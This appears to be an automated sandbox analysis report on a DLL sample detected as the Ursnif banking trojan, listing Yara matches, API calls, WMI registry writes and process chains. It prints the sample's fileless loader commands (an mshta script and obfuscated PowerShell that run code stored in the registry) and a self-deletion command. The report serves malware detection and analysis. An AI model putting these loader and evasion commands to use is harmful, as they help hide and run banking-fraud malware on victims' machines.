                      Source: Yara matchFile source: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.500530669.0000000004B99000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

                      E-Banking Fraud

                      barindex
                      Yara detected Ursnif
                      Source: Yara matchFile source: 00000003.00000003.349012704.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.448354217.00000000060D8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.348921870.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.348876810.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.349079600.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.393934520.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.395608793.000000000504C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000E.00000003.453774507.0000027B6DC1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.349095553.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.348687637.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.348979060.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.394913603.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.348760397.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 6240, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3172, type: MEMORYSTR
                      Source: Yara matchFile source: 3.2.rundll32.exe.4c70000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.4b994a0.7.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.4b994a0.7.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.51c94a0.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.51f6b40.2.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.514a4a0.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.51c94a0.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.51f6b40.2.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.514a4a0.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000003.00000003.394753510.000000000514A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.394820050.00000000051C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000002.501779377.0000000004ECF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.500530669.0000000004B99000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04C75FBB CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,CryptDecrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError,3_2_04C75FBB

                      System Summary

                      barindex
                      Writes registry values via WMI
                      Source: C:\Windows\SysWOW64\rundll32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
                      Source: C:\Windows\SysWOW64\rundll32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
                      Source: C:\Windows\SysWOW64\rundll32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
                      Source: C:\Windows\SysWOW64\rundll32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
                      Source: C:\Windows\SysWOW64\rundll32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
                      Source: C:\Windows\SysWOW64\rundll32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
                      Source: C:\Windows\SysWOW64\rundll32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
                      Source: C:\Windows\SysWOW64\rundll32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
                      Source: rXN8OIpbzz.dllStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04C7829C3_2_04C7829C
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04C716453_2_04C71645
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04C74BF13_2_04C74BF1
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CD3DB03_2_04CD3DB0
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CC154D3_2_04CC154D
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CB67CA3_2_04CB67CA
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CCD7F13_2_04CCD7F1
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CCFF4D3_2_04CCFF4D
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CBB2383_2_04CBB238
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CC8E57 CreateProcessAsUserW,3_2_04CC8E57
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04C7190C GetProcAddress,NtCreateSection,memset,3_2_04C7190C
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04C76D0A NtMapViewOfSection,3_2_04C76D0A
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04C74321 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,3_2_04C74321
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04C784C1 NtQueryVirtualMemory,3_2_04C784C1
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CB74AE NtQueryInformationProcess,3_2_04CB74AE
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CBC431 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,3_2_04CBC431
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CC0782 memset,NtWow64QueryInformationProcess64,GetProcAddress,NtWow64QueryInformationProcess64,3_2_04CC0782
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CC00DC RtlInitializeCriticalSection,RtlInitializeCriticalSection,memset,RtlInitializeCriticalSection,CreateMutexA,GetLastError,GetLastError,CloseHandle,GetUserNameA,GetUserNameA,RtlAllocateHeap,GetUserNameA,NtQueryInformationProcess,OpenProcess,GetLastError,CloseHandle,GetShellWindow,GetWindowThreadProcessId,memcpy,CreateEventA,CreateEventA,RtlAllocateHeap,OpenEventA,CreateEventA,GetLastError,LoadLibraryA,SetEvent,RtlAllocateHeap,wsprintfA,3_2_04CC00DC
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CCA806 NtWow64ReadVirtualMemory64,GetProcAddress,NtWow64ReadVirtualMemory64,3_2_04CCA806
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CC61AE GetProcAddress,NtWow64QueryInformationProcess64,StrRChrA,3_2_04CC61AE
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CC2331 GetSystemTimeAsFileTime,HeapCreate,NtQueryInformationThread,GetModuleHandleA,RtlImageNtHeader,RtlExitUserThread,3_2_04CC2331
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CB64C4 memset,NtQueryInformationProcess,3_2_04CB64C4
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CB36BB NtGetContextThread,RtlNtStatusToDosError,3_2_04CB36BB
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CBB7D5 NtQueryInformationThread,GetLastError,RtlNtStatusToDosError,3_2_04CBB7D5
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CBD77A NtQueryKey,NtQueryKey,lstrlenW,NtQueryKey,lstrcpyW,3_2_04CBD77A
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CB10C7 OpenProcess,GetLastError,GetProcAddress,NtSetInformationProcess,RtlNtStatusToDosError,GetProcAddress,GetProcAddress,TerminateThread,ResumeThread,CloseHandle,GetLastError,CloseHandle,3_2_04CB10C7
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CC3829 NtQuerySystemInformation,RtlNtStatusToDosError,3_2_04CC3829
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CC7950 NtAllocateVirtualMemory,RtlNtStatusToDosError,SetLastError,3_2_04CC7950
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CCEAC5 memset,memcpy,NtSetContextThread,RtlNtStatusToDosError,GetLastError,3_2_04CCEAC5
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CC5220 NtReadVirtualMemory,RtlNtStatusToDosError,SetLastError,3_2_04CC5220
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CC5312 NtWriteVirtualMemory,VirtualProtectEx,RtlNtStatusToDosError,SetLastError,3_2_04CC5312
                      Source: rXN8OIpbzz.dllBinary or memory string: OriginalFilenamemyfile.exe$ vs rXN8OIpbzz.dll
                      Source: C:\Windows\System32\mshta.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXEJump to behavior
                      Source: rXN8OIpbzz.dllStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
                      Source: rXN8OIpbzz.dllReversingLabs: Detection: 40%
                      Source: rXN8OIpbzz.dllStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                      Source: C:\Windows\System32\loaddll32.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                      Source: unknownProcess created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\rXN8OIpbzz.dll"
                      Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\rXN8OIpbzz.dll",#1
                      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\rXN8OIpbzz.dll",#1
                      Source: unknownProcess created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe" "about:<hta:application><script>Exhe='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Exhe).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>
                      Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name iwcfhbmkpt -value gp; new-alias -name yuxesb -value iex; yuxesb ([System.Text.Encoding]::ASCII.GetString((iwcfhbmkpt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn))
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nthaltvx.cmdline
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES3047.tmp" "c:\Users\user\AppData\Local\Temp\CSCFB39A903173B4FAEAF71F3E48EC5D0FF.TMP"
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zn133k50.cmdline
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4508.tmp" "c:\Users\user\AppData\Local\Temp\CSC41D8DEC26D8340F3B72514D252AF5890.TMP"
                      Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h
                      Source: C:\Windows\System32\control.exeProcess created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h
                      Source: C:\Windows\explorer.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\rXN8OIpbzz.dll
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping localhost -n 5
                      Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\rXN8OIpbzz.dll",#1Jump to behavior
                      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\rXN8OIpbzz.dll",#1Jump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -hJump to behavior
                      Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name iwcfhbmkpt -value gp; new-alias -name yuxesb -value iex; yuxesb ([System.Text.Encoding]::ASCII.GetString((iwcfhbmkpt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn))Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nthaltvx.cmdlineJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zn133k50.cmdlineJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES3047.tmp" "c:\Users\user\AppData\Local\Temp\CSCFB39A903173B4FAEAF71F3E48EC5D0FF.TMP"Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4508.tmp" "c:\Users\user\AppData\Local\Temp\CSC41D8DEC26D8340F3B72514D252AF5890.TMP"Jump to behavior
                      Source: C:\Windows\System32\control.exeProcess created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -hJump to behavior
                      Source: C:\Windows\explorer.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\rXN8OIpbzz.dllJump to behavior
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping localhost -n 5 Jump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Documents\20220504Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r45uapby.kca.ps1Jump to behavior
                      Source: classification engineClassification label: mal100.troj.evad.winDLL@26/15@0/1
                      Source: C:\Windows\System32\mshta.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dllJump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04C768BD CreateToolhelp32Snapshot,Process32First,Process32Next,FindCloseChangeNotification,3_2_04C768BD
                      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\rXN8OIpbzz.dll",#1
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: \Sessions\1\BaseNamedObjects\{6861BC3D-A755-DAD6-711C-CBAE35102FC2}
                      Source: C:\Windows\SysWOW64\rundll32.exeMutant created: \Sessions\1\BaseNamedObjects\{34651F6E-03CF-86A8-2DA8-E71AB15C0BEE}
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3148:120:WilError_01
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2084:120:WilError_01
                      Source: C:\Windows\SysWOW64\rundll32.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: C:\Windows\System32\mshta.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SettingsJump to behavior
                      Source: Window RecorderWindow detected: More than 3 window changes detected
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
                      Source: rXN8OIpbzz.dllStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                      Source: Binary string: tr0.Pdb source: csc.exe, 00000013.00000003.432123181.0000020BAB5E2000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000013.00000002.432715372.0000020BAB5E4000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000013.00000003.431620364.0000020BAB5DF000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000013.00000003.431571304.0000020BAB5D5000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000013.00000003.431604960.0000020BAB5D9000.00000004.00000020.00020000.00000000.sdmp
                      Source: Binary string: ntdll.pdb source: rundll32.exe, 00000003.00000003.453885156.00000000060F0000.00000004.00001000.00020000.00000000.sdmp
                      Source: Binary string: d:\in\the\town\where\ahung.pdb source: rXN8OIpbzz.dll
                      Source: Binary string: ntdll.pdbUGP source: rundll32.exe, 00000003.00000003.453885156.00000000060F0000.00000004.00001000.00020000.00000000.sdmp
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04C7828B push ecx; ret 3_2_04C7829B
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04C77EA0 push ecx; ret 3_2_04C77EA9
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CB3495 push ecx; mov dword ptr [esp], 00000002h3_2_04CB3496
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CD3D9F push ecx; ret 3_2_04CD3DAF
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CD38A0 push ecx; ret 3_2_04CD38A9
                      Source: rXN8OIpbzz.dllStatic PE information: section name: .erloc
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04CBEC00 RegOpenKeyA,LoadLibraryA,GetProcAddress,GetLastError,FreeLibrary,GetLastError,RegCloseKey,3_2_04CBEC00
                      Source: nthaltvx.dll.19.drStatic PE information: real checksum: 0x0 should be: 0x824a
                      Source: zn133k50.dll.21.drStatic PE information: real checksum: 0x0 should be: 0x6e67
                      Source: rXN8OIpbzz.dllStatic PE information: real checksum: 0x79835 should be: 0x74d07
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nthaltvx.cmdline
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zn133k50.cmdline
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nthaltvx.cmdlineJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zn133k50.cmdlineJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeFile created: C:\Users\user\AppData\Local\Temp\zn133k50.dllJump to dropped file
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeFile created: C:\Users\user\AppData\Local\Temp\nthaltvx.dllJump to dropped file

                      Hooking and other Techniques for Hiding and Protection

                      barindex
                      Yara detected Ursnif
                      Source: Yara matchFile source: 00000003.00000003.349012704.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.448354217.00000000060D8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.348921870.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.348876810.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.349079600.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.393934520.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.395608793.000000000504C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000E.00000003.453774507.0000027B6DC1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.349095553.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.348687637.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.348979060.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.394913603.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.348760397.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 6240, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3172, type: MEMORYSTR
                      Source: Yara matchFile source: 3.2.rundll32.exe.4c70000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.4b994a0.7.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.4b994a0.7.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.51c94a0.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.51f6b40.2.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.514a4a0.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.51c94a0.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.51f6b40.2.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.514a4a0.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000003.00000003.394753510.000000000514A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.394820050.00000000051C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000002.501779377.0000000004ECF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.500530669.0000000004B99000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Self deletion via cmd delete
                      Source: C:\Windows\explorer.exeProcess created: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\rXN8OIpbzz.dll
                      Source: C:\Windows\explorer.exeProcess created: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\rXN8OIpbzz.dllJump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
